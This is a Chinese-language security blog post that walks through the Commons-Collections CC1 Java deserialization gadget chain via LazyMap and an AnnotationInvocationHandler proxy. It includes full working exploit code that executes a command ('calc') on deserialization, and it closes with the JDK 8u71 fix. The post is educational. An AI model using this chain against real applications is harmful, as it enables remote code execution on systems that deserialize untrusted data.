Java反序列化Commons-Collections篇02-CC1链补充
Drunkbaby Lv6

CC1链补充

Java 反序列化 Commons-Collections 篇 02-CC1 链补充

0x01 前言

  • 书说上回,我们分析了一下 CC1 链当中的 TransformMap 的反序列化攻击,今天来补充一下正版 CC1 链的攻击分析。

0x02 正版 CC1 链分析

1. 寻找链尾的 exec 方法

  • 漏洞点还是 InvokeTransformer,一些测试用的 exp 就先不写啦

InvokeTransformer 下的 transform 方法,进行 find usages 操作。

之前我们所讲的是 TransformedMap 的链子,今天我们去追正版 CC1 链里面 LazyMap 的链子。

我们看到这里,是 LazyMap 这个类的 get 方法中出现了 .transform 方法。get 方法的作用域为 public。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {  
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

2. 寻找链子

  • 我们去找一找 factory 是什么

在找 factory 的时候偶然发现了 decorate 方法,这个 decorate 方式与我们之前讲的 TransformMap 中的 decorate 方法是一样的作用。

这里的链子,我非常非常非常建议大家动手去写一写,能让你更好的拥有编写 EXP 的能力。

先看这个类的构造函数,作用域为 private,因为无法直接获取,而 decorate 方法里面能够 new 一个 LazyMap 对象,于是我们构造如下的 EXP,来证明这条链子暂时是可行的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package ysoChainsEXP;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// 用 decorate 触发弹计算器,确保此链可用
public class LazyDecorateCalc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
}
  • 目前证明这条链是可行的,我们继续往上走,最终目标是找到入口类的 readObject 方法。

往上走,我们去找一找谁调用了 LazyMap.get()

最终在 AnnotationInvocationHandler.invoke() 方法中找到了有一个地方调用了 get() 方法。

同时这个类也非常好,它里面有 readObject() 方法,可以作为我们的入口类。

  • 现在的关键点在于我们要触发 AnnotationInvocationHandler.invoke()

0x03 编写 EXP

需要触发 invoke 方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。我们去找一找能利用的地方

在这里调用了 entrySet() 方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。

直接上我们的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package ysoChainsEXP;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

// 正版 CC1 链最终 EXPpublic class LazyFinalEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
  • 成功!

我们被代理的实例是这一个

1
2
3
4
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aDeclaredConstructor = a.getDeclaredConstructor(Class.class, Map.class);
aDeclaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aDeclaredConstructor.newInstance(Override.class, decorateLazyMap);

生成代理类,并使用反序列化调用计算器

1
2
3
4
5
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()  
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");

0x04 修复手段

官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71,我们来看一下为什么官方会推荐这种方法。

1. 对于 TransformerMap 版的 CC1 链子

对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue() 方法的地方。

2. 对于正版 CC1 链子

因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因

0x05 小结

小结部分主要来整理一下链子和我们的攻击思路。

1
2
3
4
5
6
7
8
9
10
11
调用链 
InvokeTransformer#transform
LazyMap#get
AnnotationInvocationHandler#readObject


辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet
 评论